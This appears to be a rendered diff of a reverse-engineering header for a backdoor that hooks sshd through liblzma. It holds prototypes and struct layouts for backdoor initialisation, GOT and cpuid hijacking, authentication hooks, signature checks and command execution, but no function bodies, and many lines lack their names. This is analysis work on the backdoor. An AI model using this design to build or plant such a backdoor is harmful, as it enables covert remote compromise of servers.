2491 extern BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
-
2492 
-
2500 extern BOOL is_gnu_relro(Elf64_Word p_type, u32 addend);
-
2501 
- -
2516 
-
2517 extern char *check_argument(char arg_first_char, char* arg_name);
-
2518 
-
2547 extern BOOL process_is_sshd(elf_info_t *elf, u8 *stack_end);
-
2548 
- -
2557 
-
2566 extern Elf64_Sym *elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version);
-
2567 
-
2575 extern void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
2576 
-
2584 extern void *elf_get_code_segment(elf_info_t *elf_info, u64 *pSize);
-
2585 
-
2594 extern void *elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize);
-
2595 
-
2612 extern void *elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment);
-
2613 
- - -
2627  Elf64_Rela *relocs,
-
2628  u32 num_relocs,
-
2629  u64 reloc_type,
-
2630  EncodedStringId encoded_string_id);
-
2631 
-
2639 extern void *elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
2640 
-
2648 extern void *elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
2649 
- -
2664  StringXrefId xref_id,
-
2665  void **pOutCodeStart, void **pOutCodeEnd,
-
2666  void **pOutFptrAddr, elf_info_t *elf_info,
-
2667  string_references_t *xrefs,
-
2668  global_context_t *ctx);
-
2669 
-
2682 extern char *elf_find_string(
- -
2684  EncodedStringId *stringId_inOut,
-
2685  void *rodata_start_ptr);
-
2686 
-
2693 extern lzma_allocator *get_lzma_allocator(void);
-
2694 
- -
2706 
-
2715 extern void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size);
-
2716 
-
2725 extern void fake_lzma_free(void *opaque, void *ptr);
-
2726 
- -
2736 
-
2737 extern BOOL secret_data_append_from_instruction(dasm_ctx_t *dctx, secret_data_shift_cursor_t *cursor);
-
2738 
- -
2752  void *code_start,
-
2753  void *code_end,
-
2754  secret_data_shift_cursor_t shift_cursor,
-
2755  unsigned shift_count, BOOL start_from_call);
-
2756 
- -
2768  secret_data_shift_cursor_t shift_cursor,
-
2769  unsigned operation_index,
-
2770  unsigned shift_count,
-
2771  int index, u8 *code);
-
2772 
- -
2782  secret_data_item_t *items,
-
2783  u64 items_count,
-
2784  BOOL (*appender)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *));
-
2785 
- -
2797  void *addr,
-
2798  secret_data_shift_cursor_t shift_cursor,
-
2799  unsigned shift_count, unsigned operation_index);
-
2800 
- -
2844  u8 *call_site, u8 *code,
-
2845  secret_data_shift_cursor_t shift_cursor,
-
2846  unsigned shift_count, unsigned operation_index);
-
2847 
- -
2860  secret_data_shift_cursor_t shift_cursor,
-
2861  unsigned shift_count, unsigned operation_index,
-
2862  BOOL bypass
-
2863 );
-
2864 
- -
2885 
- -
2892 
-
2910 extern unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame);
-
2911 
-
2923 extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
-
2924 
- -
2936 
- -
2947 
- -
2957 
-
2967 extern BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t* reloc_consts);
-
2968 
- -
2978  struct link_map *libc,
-
2979  elf_info_t *libc_info,
-
2980  libc_imports_t *imports
-
2981 );
-
2982 
- -
2990 
-
2998 extern BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data);
-
2999 
-
3011 extern BOOL chacha_decrypt(
-
3012  u8 *in, int inl,
-
3013  u8 *key, u8 *iv,
-
3014  u8 *out, imported_funcs_t *funcs
-
3015 );
-
3016 
-
3024 extern BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx);
-
3025 
-
3034 extern BOOL is_range_mapped(u8* addr, u64 length, global_context_t* ctx);
-
3035 
-
3042 extern u32 count_bits(u64 x);
-
3043 
-
3055 extern EncodedStringId get_string_id(const char *string_begin, const char *string_end);
-
3056 
-
3096 extern unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame);
-
3097 
-
3109 extern void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d);
-
3110 
- -
3120 
- -
3128 
- -
3136 
-
3155 extern void *update_got_address(elf_entry_ctx_t *entry_ctx);
-
3156 
- -
3167 
-
3168 typedef struct dl_tls_index
-
3169 {
-
3170  uint64_t ti_module;
-
3171  uint64_t ti_offset;
-
3172 } tls_index;
-
3173 
-
3181 extern void *dummy_tls_get_addr (tls_index *ti);
-
3182 
-
3194 extern uintptr_t backdoor_symbind64(
-
3195  Elf64_Sym *sym,
-
3196  unsigned int ndx,
-
3197  uptr *refcook, uptr *defcook,
-
3198  unsigned int flags,
-
3199  const char *symname);
-
3200 
-
3212 extern BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig);
-
3213 
- -
3229  backdoor_data_handle_t *data,
-
3230  ptrdiff_t *libname_offset,
-
3231  backdoor_hooks_data_t *hooks,
- -
3233 
- -
3257  backdoor_data_handle_t *data_handle,
-
3258  ptrdiff_t *libname_offset,
-
3259  backdoor_hooks_data_t *hooks,
- -
3261 
-
3281 extern BOOL find_dl_naudit(
-
3282  elf_info_t *dynamic_linker_elf,
-
3283  elf_info_t *libcrypto_elf,
-
3284  backdoor_hooks_data_t *hooks,
- -
3286 
- -
3304  backdoor_data_handle_t *data,
-
3305  ptrdiff_t libname_offset,
-
3306  backdoor_hooks_data_t *hooks,
- -
3308 
- -
3325  backdoor_data_handle_t *data,
-
3326  instruction_search_ctx_t *search_ctx);
-
3327 
- -
3343  u8 *data_start,
-
3344  u8 *data_end,
-
3345  u8 *code_start,
-
3346  u8 *code_end,
-
3347  string_references_t *string_refs,
-
3348  void **sensitive_data_out);
-
3349 
- -
3365  u8 *data_start,
-
3366  u8 *data_end,
-
3367  u8 *code_start,
-
3368  u8 *code_end,
-
3369  void **sensitive_data_out,
-
3370  elf_info_t *elf);
-
3371 
- -
3382  void *sensitive_data,
-
3383  elf_info_t *elf,
-
3384  string_references_t *refs);
-
3385 
- -
3396  void *sensitive_data,
-
3397  elf_info_t *elf,
-
3398  string_references_t *refs);
-
3399 
- -
3410  void *sensitive_data,
-
3411  elf_info_t *elf,
-
3412  string_references_t *refs);
-
3413 
- -
3424  void *sensitive_data,
-
3425  elf_info_t *elf,
-
3426  string_references_t *refs);
-
3427 
-
3438 extern BOOL bignum_serialize(
-
3439  u8 *buffer, u64 bufferSize,
-
3440  u64 *pOutSize,
-
3441  const BIGNUM *bn,
-
3442  imported_funcs_t *funcs);
-
3443 
-
3444 
-
3451 extern BOOL sshbuf_bignum_is_negative(struct sshbuf *buf);
-
3452 
-
3462 extern BOOL rsa_key_hash(
-
3463  const RSA *rsa,
-
3464  u8 *mdBuf,
-
3465  u64 mdBufSize,
-
3466  imported_funcs_t *funcs);
-
3467 
-
3477 extern BOOL dsa_key_hash(
-
3478  const DSA *dsa,
-
3479  u8 *mdBuf,
-
3480  u64 mdBufSize,
-
3481  global_context_t *ctx);
-
3482 
-
3493 extern BOOL sha256(
-
3494  const void *data,
-
3495  size_t count,
-
3496  u8 *mdBuf,
-
3497  u64 mdBufSize,
-
3498  imported_funcs_t *funcs);
-
3499 
-
3517 extern BOOL verify_signature(
-
3518  struct sshkey *sshkey,
-
3519  u8 *signed_data,
-
3520  u64 sshkey_digest_offset,
-
3521  u64 signed_data_size,
-
3522  u8 *signature,
-
3523  u8 *ed448_raw_key,
-
3524  global_context_t *global_ctx
-
3525 );
-
3526 
- -
3539  BOOL skip_root_patch,
-
3540  BOOL disable_pam,
-
3541  BOOL replace_monitor_reqtype,
-
3542  int monitor_reqtype,
-
3543  global_context_t *global_ctx
-
3544 );
-
3545 
- -
3555  elf_info_t *elf,
-
3556  string_references_t *refs,
-
3557  global_context_t *ctx
-
3558 );
-
3559 
-
3569 extern BOOL sshd_find_main(
-
3570  u8 **code_start_out,
-
3571  elf_info_t *sshd,
-
3572  elf_info_t *libcrypto,
- -
3574 );
-
3575 
- -
3604  u8 *code_start,
-
3605  u8 *code_end,
-
3606  u8 *data_start,
-
3607  u8 *data_end,
-
3608  void **monitor_field_ptr_out,
-
3609  global_context_t *ctx
-
3610 );
-
3611 
- -
3624  StringXrefId id,
-
3625  string_references_t *refs,
-
3626  void *mem_range_start,
-
3627  void *mem_range_end
-
3628 );
-
3629 
- -
3665  void *addr1,
-
3666  void *addr2,
-
3667  void *search_base,
-
3668  u8 *code_end,
-
3669  string_references_t *refs,
-
3670  global_context_t *global
-
3671 );
-
3672 
-
3673 enum SocketMode {
-
3674  DIR_WRITE = 0,
-
3675  DIR_READ = 1
-
3676 };
+
2160 assert_offset(fake_lzma_allocator_t, allocator.alloc, 0x8);
+
2161 assert_offset(fake_lzma_allocator_t, allocator.free, 0x10);
+
2162 assert_offset(fake_lzma_allocator_t, allocator.opaque, 0x18);
+
2163 static_assert(sizeof(fake_lzma_allocator_t) == 0x20);
+
2164 
+
2165 typedef struct __attribute__((packed)) instruction_search_ctx
+
2166 {
+ + + + +
2187  u8 *output_register; // TODO unknown
+
2192  BOOL result;
+
2193  PADDING(0x4);
+
2194  backdoor_hooks_data_t *hooks;
+ + +
2197 
+
2198 assert_offset(instruction_search_ctx_t, start_addr, 0);
+
2199 assert_offset(instruction_search_ctx_t, end_addr, 0x8);
+
2200 assert_offset(instruction_search_ctx_t, offset_to_match, 0x10);
+
2201 assert_offset(instruction_search_ctx_t, output_register_to_match, 0x18);
+
2202 assert_offset(instruction_search_ctx_t, output_register, 0x20);
+
2203 assert_offset(instruction_search_ctx_t, result, 0x28);
+
2204 assert_offset(instruction_search_ctx_t, hooks, 0x30);
+
2205 assert_offset(instruction_search_ctx_t, imported_funcs, 0x38);
+
2206 static_assert(sizeof(instruction_search_ctx_t) == 0x40);
+
2207 
+
2208 
+ +
2227 
+
2236 extern BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end);
+
2237 
+
2247 extern BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx);
+
2248 
+
2257 extern BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement);
+
2258 
+ +
2269  u8 *code_start,
+
2270  u8 *code_end,
+
2271  dasm_ctx_t *dctx,
+
2272  void *mem_address
+
2273 );
+
2274 
+ +
2285  u8 *code_start,
+
2286  u8 *code_end,
+
2287  dasm_ctx_t *dctx,
+
2288  void *mem_address
+
2289 );
+
2290 
+ +
2301  u8 *code_start,
+
2302  u8 *code_end,
+
2303  dasm_ctx_t *dctx,
+
2304  void *mem_address
+
2305 );
+
2306 
+ +
2318  u8 *code_start,
+
2319  u8 *code_end,
+
2320  BOOL is_64bit_operand,
+
2321  BOOL load_flag,
+
2322  dasm_ctx_t *dctx
+
2323 );
+
2324 
+ +
2341  u8 *code_start,
+
2342  u8 *code_end,
+
2343  BOOL is_64bit_operand,
+
2344  BOOL load_flag,
+
2345  dasm_ctx_t *dctx
+
2346 );
+
2347 
+ +
2359  u8 *code_start,
+
2360  u8 *code_end,
+
2361  dasm_ctx_t *dctx,
+
2362  int opcode,
+
2363  void *mem_address
+
2364 );
+
2365 
+
2382 extern BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part);
+
2383 
+ +
2393  u8 *code_start,
+
2394  u8 *code_end,
+
2395  const char *str
+
2396 );
+
2397 
+ + +
2409  EncodedStringId encoded_string_id,
+
2410  u8 *code_start,
+
2411  u8 *code_end
+
2412 );
+
2413 
+
2433 extern BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx);
+
2434 
+
2444 extern BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode);
+
2445 
+
2457 extern BOOL find_function(
+
2458  u8 *code_start,
+
2459  void **func_start,
+
2460  void **func_end,
+
2461  u8 *search_base,
+
2462  u8 *code_end,
+
2463  FuncFindType find_mode);
+
2464 
+
2475 extern BOOL elf_contains_vaddr(elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags);
+
2476 
+
2487 extern BOOL elf_contains_vaddr_relro(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags);
+
2488 
+
2496 extern BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
+
2497 
+
2505 extern BOOL is_gnu_relro(Elf64_Word p_type, u32 addend);
+
2506 
+ +
2521 
+
2522 extern char *check_argument(char arg_first_char, char* arg_name);
+
2523 
+
2552 extern BOOL process_is_sshd(elf_info_t *elf, u8 *stack_end);
+
2553 
+ +
2562 
+
2571 extern Elf64_Sym *elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version);
+
2572 
+
2580 extern void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
2581 
+
2589 extern void *elf_get_code_segment(elf_info_t *elf_info, u64 *pSize);
+
2590 
+
2599 extern void *elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize);
+
2600 
+
2617 extern void *elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment);
+
2618 
+ + +
2632  Elf64_Rela *relocs,
+
2633  u32 num_relocs,
+
2634  u64 reloc_type,
+
2635  EncodedStringId encoded_string_id);
+
2636 
+
2644 extern void *elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
2645 
+
2653 extern void *elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
2654 
+ +
2669  StringXrefId xref_id,
+
2670  void **pOutCodeStart, void **pOutCodeEnd,
+
2671  void **pOutFptrAddr, elf_info_t *elf_info,
+
2672  string_references_t *xrefs,
+
2673  global_context_t *ctx);
+
2674 
+
2687 extern char *elf_find_string(
+ +
2689  EncodedStringId *stringId_inOut,
+
2690  void *rodata_start_ptr);
+
2691 
+
2698 extern lzma_allocator *get_lzma_allocator(void);
+
2699 
+ +
2711 
+
2720 extern void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size);
+
2721 
+
2730 extern void fake_lzma_free(void *opaque, void *ptr);
+
2731 
+ +
2741 
+
2742 extern BOOL secret_data_append_from_instruction(dasm_ctx_t *dctx, secret_data_shift_cursor_t *cursor);
+
2743 
+ +
2757  void *code_start,
+
2758  void *code_end,
+
2759  secret_data_shift_cursor_t shift_cursor,
+
2760  unsigned shift_count, BOOL start_from_call);
+
2761 
+ +
2773  secret_data_shift_cursor_t shift_cursor,
+
2774  unsigned operation_index,
+
2775  unsigned shift_count,
+
2776  int index, u8 *code);
+
2777 
+ +
2787  secret_data_item_t *items,
+
2788  u64 items_count,
+
2789  BOOL (*appender)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *));
+
2790 
+ +
2802  void *addr,
+
2803  secret_data_shift_cursor_t shift_cursor,
+
2804  unsigned shift_count, unsigned operation_index);
+
2805 
+ +
2849  u8 *call_site, u8 *code,
+
2850  secret_data_shift_cursor_t shift_cursor,
+
2851  unsigned shift_count, unsigned operation_index);
+
2852 
+ +
2865  secret_data_shift_cursor_t shift_cursor,
+
2866  unsigned shift_count, unsigned operation_index,
+
2867  BOOL bypass
+
2868 );
+
2869 
+ +
2890 
+ +
2897 
+
2915 extern unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame);
+
2916 
+
2928 extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
+
2929 
+ +
2941 
+ +
2952 
+ +
2962 
+
2972 extern BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t* reloc_consts);
+
2973 
+ +
2983  struct link_map *libc,
+
2984  elf_info_t *libc_info,
+
2985  libc_imports_t *imports
+
2986 );
+
2987 
+ +
2995 
+
3003 extern BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data);
+
3004 
+
3016 extern BOOL chacha_decrypt(
+
3017  u8 *in, int inl,
+
3018  u8 *key, u8 *iv,
+
3019  u8 *out, imported_funcs_t *funcs
+
3020 );
+
3021 
+
3029 extern BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx);
+
3030 
+
3039 extern BOOL is_range_mapped(u8* addr, u64 length, global_context_t* ctx);
+
3040 
+
3047 extern u32 count_bits(u64 x);
+
3048 
+
3060 extern EncodedStringId get_string_id(const char *string_begin, const char *string_end);
+
3061 
+
3101 extern unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame);
+
3102 
+
3114 extern void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d);
+
3115 
+ +
3125 
+ +
3133 
+ +
3141 
+
3160 extern void *update_got_address(elf_entry_ctx_t *entry_ctx);
+
3161 
+ +
3172 
+
3173 typedef struct dl_tls_index
+
3174 {
+
3175  uint64_t ti_module;
+
3176  uint64_t ti_offset;
+
3177 } tls_index;
+
3178 
+
3186 extern void *dummy_tls_get_addr (tls_index *ti);
+
3187 
+
3199 extern uintptr_t backdoor_symbind64(
+
3200  Elf64_Sym *sym,
+
3201  unsigned int ndx,
+
3202  uptr *refcook, uptr *defcook,
+
3203  unsigned int flags,
+
3204  const char *symname);
+
3205 
+
3217 extern BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig);
+
3218 
+ +
3234  backdoor_data_handle_t *data,
+
3235  ptrdiff_t *libname_offset,
+
3236  backdoor_hooks_data_t *hooks,
+ +
3238 
+ +
3262  backdoor_data_handle_t *data_handle,
+
3263  ptrdiff_t *libname_offset,
+
3264  backdoor_hooks_data_t *hooks,
+ +
3266 
+
3286 extern BOOL find_dl_naudit(
+
3287  elf_info_t *dynamic_linker_elf,
+
3288  elf_info_t *libcrypto_elf,
+
3289  backdoor_hooks_data_t *hooks,
+ +
3291 
+ +
3309  backdoor_data_handle_t *data,
+
3310  ptrdiff_t libname_offset,
+
3311  backdoor_hooks_data_t *hooks,
+ +
3313 
+ +
3330  backdoor_data_handle_t *data,
+
3331  instruction_search_ctx_t *search_ctx);
+
3332 
+ +
3348  u8 *data_start,
+
3349  u8 *data_end,
+
3350  u8 *code_start,
+
3351  u8 *code_end,
+
3352  string_references_t *string_refs,
+
3353  void **sensitive_data_out);
+
3354 
+ +
3370  u8 *data_start,
+
3371  u8 *data_end,
+
3372  u8 *code_start,
+
3373  u8 *code_end,
+
3374  void **sensitive_data_out,
+
3375  elf_info_t *elf);
+
3376 
+ +
3387  void *sensitive_data,
+
3388  elf_info_t *elf,
+
3389  string_references_t *refs);
+
3390 
+ +
3401  void *sensitive_data,
+
3402  elf_info_t *elf,
+
3403  string_references_t *refs);
+
3404 
+ +
3415  void *sensitive_data,
+
3416  elf_info_t *elf,
+
3417  string_references_t *refs);
+
3418 
+ +
3429  void *sensitive_data,
+
3430  elf_info_t *elf,
+
3431  string_references_t *refs);
+
3432 
+
3443 extern BOOL bignum_serialize(
+
3444  u8 *buffer, u64 bufferSize,
+
3445  u64 *pOutSize,
+
3446  const BIGNUM *bn,
+
3447  imported_funcs_t *funcs);
+
3448 
+
3449 
+
3456 extern BOOL sshbuf_bignum_is_negative(struct sshbuf *buf);
+
3457 
+
3467 extern BOOL rsa_key_hash(
+
3468  const RSA *rsa,
+
3469  u8 *mdBuf,
+
3470  u64 mdBufSize,
+
3471  imported_funcs_t *funcs);
+
3472 
+
3482 extern BOOL dsa_key_hash(
+
3483  const DSA *dsa,
+
3484  u8 *mdBuf,
+
3485  u64 mdBufSize,
+
3486  global_context_t *ctx);
+
3487 
+
3498 extern BOOL sha256(
+
3499  const void *data,
+
3500  size_t count,
+
3501  u8 *mdBuf,
+
3502  u64 mdBufSize,
+
3503  imported_funcs_t *funcs);
+
3504 
+
3522 extern BOOL verify_signature(
+
3523  struct sshkey *sshkey,
+
3524  u8 *signed_data,
+
3525  u64 sshkey_digest_offset,
+
3526  u64 signed_data_size,
+
3527  u8 *signature,
+
3528  u8 *ed448_raw_key,
+
3529  global_context_t *global_ctx
+
3530 );
+
3531 
+ +
3544  BOOL skip_root_patch,
+
3545  BOOL disable_pam,
+
3546  BOOL replace_monitor_reqtype,
+
3547  int monitor_reqtype,
+
3548  global_context_t *global_ctx
+
3549 );
+
3550 
+ +
3560  elf_info_t *elf,
+
3561  string_references_t *refs,
+
3562  global_context_t *ctx
+
3563 );
+
3564 
+
3574 extern BOOL sshd_find_main(
+
3575  u8 **code_start_out,
+
3576  elf_info_t *sshd,
+
3577  elf_info_t *libcrypto,
+ +
3579 );
+
3580 
+ +
3609  u8 *code_start,
+
3610  u8 *code_end,
+
3611  u8 *data_start,
+
3612  u8 *data_end,
+
3613  void **monitor_field_ptr_out,
+
3614  global_context_t *ctx
+
3615 );
+
3616 
+ +
3629  StringXrefId id,
+
3630  string_references_t *refs,
+
3631  void *mem_range_start,
+
3632  void *mem_range_end
+
3633 );
+
3634 
+ +
3670  void *addr1,
+
3671  void *addr2,
+
3672  void *search_base,
+
3673  u8 *code_end,
+
3674  string_references_t *refs,
+
3675  global_context_t *global
+
3676 );
3677 
- -
3691  global_context_t *ctx,
-
3692  int *pSocket,
-
3693  int socket_index,
-
3694  enum SocketMode socket_direction
-
3695 );
-
3696 
-
3705 extern BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t *imports);
-
3706 
-
3715 extern BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx);
-
3716 
-
3726 extern BOOL sshd_kex_sshbuf_get(void *kex, global_context_t *ctx, void **pOutputData, size_t *pOutputSize);
-
3727 
- -
3738  u8 *sshbuf_data,
-
3739  size_t sshbuf_size,
-
3740  size_t *pOutPayloadSize,
-
3741  global_context_t *ctx);
-
3742 
- -
3752  void *payload,
-
3753  size_t payload_size,
-
3754  global_context_t *ctx);
-
3755 
- -
3763 
-
3773 extern int mm_answer_keyallowed_hook(struct ssh *ssh, int sock, struct sshbuf *m);
-
3774 
-
3783 extern int mm_answer_keyverify_hook(struct ssh *ssh, int sock, struct sshbuf *m);
-
3784 
-
3793 extern int mm_answer_authpassword_hook(struct ssh *ssh, int sock, struct sshbuf *m);
-
3794 
- -
3804  LogLevel level,
-
3805  int forced,
-
3806  const char *msg,
-
3807  void *ctx);
-
3808 
-
3818 extern ssize_t fd_read(
-
3819  int fd,
-
3820  void *buffer,
-
3821  size_t count,
-
3822  libc_imports_t *funcs);
-
3823 
-
3833 extern ssize_t fd_write(
-
3834  int fd,
-
3835  void *buffer,
-
3836  size_t count,
-
3837  libc_imports_t *funcs);
-
3838 
- -
3847  void **pointers,
-
3848  unsigned int num_pointers
-
3849 );
-
3850 
-
3859 extern BOOL count_pointers(
-
3860  void **ptrs,
-
3861  u64 *count_out,
-
3862  libc_imports_t *funcs
-
3863 );
-
3864 
- -
3872 
-
3881 extern void sshd_log(
-
3882  sshd_log_ctx_t *log_ctx,
-
3883  LogLevel level, const char *fmt, ...);
-
3884 
- -
3897  elf_info_t *sshd,
-
3898  elf_info_t *libcrypto,
-
3899  string_references_t *refs,
-
3900  imported_funcs_t *funcs,
-
3901  global_context_t *ctx);
-
3902 
-
3909 extern u32 resolver_call_count;
-
3910 static_assert(sizeof(resolver_call_count) == 0x4);
-
3911 
-
3912 extern global_context_t *global_ctx;
-
3913 static_assert(sizeof(global_ctx) == 0x8);
-
3914 
- -
3922 static_assert(sizeof(hooks_data_addr) == 0x8);
-
3923 
-
3934 extern const ptrdiff_t fake_lzma_allocator_offset;
-
3935 static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
-
3936 
- -
3955 static_assert(sizeof(fake_lzma_allocator) == 0x20);
-
3956 
-
3964 extern void *lzma_alloc(size_t size, lzma_allocator *allocator);
-
3965 
-
3974 extern const ptrdiff_t elf_functions_offset;
-
3975 static_assert(sizeof(elf_functions_offset) == 0x8);
-
3976 
-
3989 extern const elf_functions_t elf_functions;
-
3990 static_assert(sizeof(elf_functions) == 0x38);
-
3991 
-
4000 extern const u64 cpuid_random_symbol;
-
4001 static_assert(sizeof(cpuid_random_symbol) == 0x8);
-
4002 
-
4011 extern const u64 tls_get_addr_random_symbol;
-
4012 static_assert(sizeof(tls_get_addr_random_symbol) == 0x8);
-
4013 
- -
4023 static_assert(sizeof(cpuid_reloc_consts) == 0x18);
-
4024 
- -
4034 static_assert(sizeof(tls_get_addr_reloc_consts) == 0x10);
-
4035 
-
4044 extern const u64 string_mask_data[238];
-
4045 static_assert(sizeof(string_mask_data) == 0x770);
-
4046 
-
4055 extern const u32 string_action_data[1304];
-
4056 static_assert(sizeof(string_action_data) == 0x1460);
-
4057 
-
4058 #include "util.h"
-
4059 #endif
+
3678 enum SocketMode {
+
3679  DIR_WRITE = 0,
+
3680  DIR_READ = 1
+
3681 };
+
3682 
+ +
3696  global_context_t *ctx,
+
3697  int *pSocket,
+
3698  int socket_index,
+
3699  enum SocketMode socket_direction
+
3700 );
+
3701 
+
3710 extern BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t *imports);
+
3711 
+
3720 extern BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx);
+
3721 
+
3731 extern BOOL sshd_kex_sshbuf_get(void *kex, global_context_t *ctx, void **pOutputData, size_t *pOutputSize);
+
3732 
+ +
3743  u8 *sshbuf_data,
+
3744  size_t sshbuf_size,
+
3745  size_t *pOutPayloadSize,
+
3746  global_context_t *ctx);
+
3747 
+ +
3757  void *payload,
+
3758  size_t payload_size,
+
3759  global_context_t *ctx);
+
3760 
+ +
3768 
+
3778 extern int mm_answer_keyallowed_hook(struct ssh *ssh, int sock, struct sshbuf *m);
+
3779 
+
3788 extern int mm_answer_keyverify_hook(struct ssh *ssh, int sock, struct sshbuf *m);
+
3789 
+
3798 extern int mm_answer_authpassword_hook(struct ssh *ssh, int sock, struct sshbuf *m);
+
3799 
+ +
3809  LogLevel level,
+
3810  int forced,
+
3811  const char *msg,
+
3812  void *ctx);
+
3813 
+
3823 extern ssize_t fd_read(
+
3824  int fd,
+
3825  void *buffer,
+
3826  size_t count,
+
3827  libc_imports_t *funcs);
+
3828 
+
3838 extern ssize_t fd_write(
+
3839  int fd,
+
3840  void *buffer,
+
3841  size_t count,
+
3842  libc_imports_t *funcs);
+
3843 
+ +
3852  void **pointers,
+
3853  unsigned int num_pointers
+
3854 );
+
3855 
+
3864 extern BOOL count_pointers(
+
3865  void **ptrs,
+
3866  u64 *count_out,
+
3867  libc_imports_t *funcs
+
3868 );
+
3869 
+ +
3877 
+
3886 extern void sshd_log(
+
3887  sshd_log_ctx_t *log_ctx,
+
3888  LogLevel level, const char *fmt, ...);
+
3889 
+ +
3902  elf_info_t *sshd,
+
3903  elf_info_t *libcrypto,
+
3904  string_references_t *refs,
+
3905  imported_funcs_t *funcs,
+
3906  global_context_t *ctx);
+
3907 
+
3914 extern u32 resolver_call_count;
+
3915 static_assert(sizeof(resolver_call_count) == 0x4);
+
3916 
+
3917 extern global_context_t *global_ctx;
+
3918 static_assert(sizeof(global_ctx) == 0x8);
+
3919 
+ +
3927 static_assert(sizeof(hooks_data_addr) == 0x8);
+
3928 
+
3939 extern const ptrdiff_t fake_lzma_allocator_offset;
+
3940 static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
+
3941 
+ +
3960 static_assert(sizeof(fake_lzma_allocator) == 0x20);
+
3961 
+
3969 extern void *lzma_alloc(size_t size, lzma_allocator *allocator);
+
3970 
+
3979 extern const ptrdiff_t elf_functions_offset;
+
3980 static_assert(sizeof(elf_functions_offset) == 0x8);
+
3981 
+
3994 extern const elf_functions_t elf_functions;
+
3995 static_assert(sizeof(elf_functions) == 0x38);
+
3996 
+
4005 extern const u64 cpuid_random_symbol;
+
4006 static_assert(sizeof(cpuid_random_symbol) == 0x8);
+
4007 
+
4016 extern const u64 tls_get_addr_random_symbol;
+
4017 static_assert(sizeof(tls_get_addr_random_symbol) == 0x8);
+
4018 
+ +
4028 static_assert(sizeof(cpuid_reloc_consts) == 0x18);
+
4029 
+ +
4039 static_assert(sizeof(tls_get_addr_reloc_consts) == 0x10);
+
4040 
+
4049 extern const u64 string_mask_data[238];
+
4050 static_assert(sizeof(string_mask_data) == 0x770);
+
4051 
+
4060 extern const u32 string_action_data[1304];
+
4061 static_assert(sizeof(string_action_data) == 0x1460);
+
4062 
+
4063 #include "util.h"
+
4064 #endif
int RSA_public_decrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding)
Definition: ssh_patch.c:37
Definition: xzre.h:216
Definition: xzre.h:185
-
Definition: xzre.h:2075
-
ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:2093
-
ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:2081
-
u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:2087
-
data passed to functions that access the backdoor data
Definition: xzre.h:1665
-
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1710
-
libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1755
-
string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1760
-
struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1715
-
elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1745
-
elf_info_t libcrypto_info
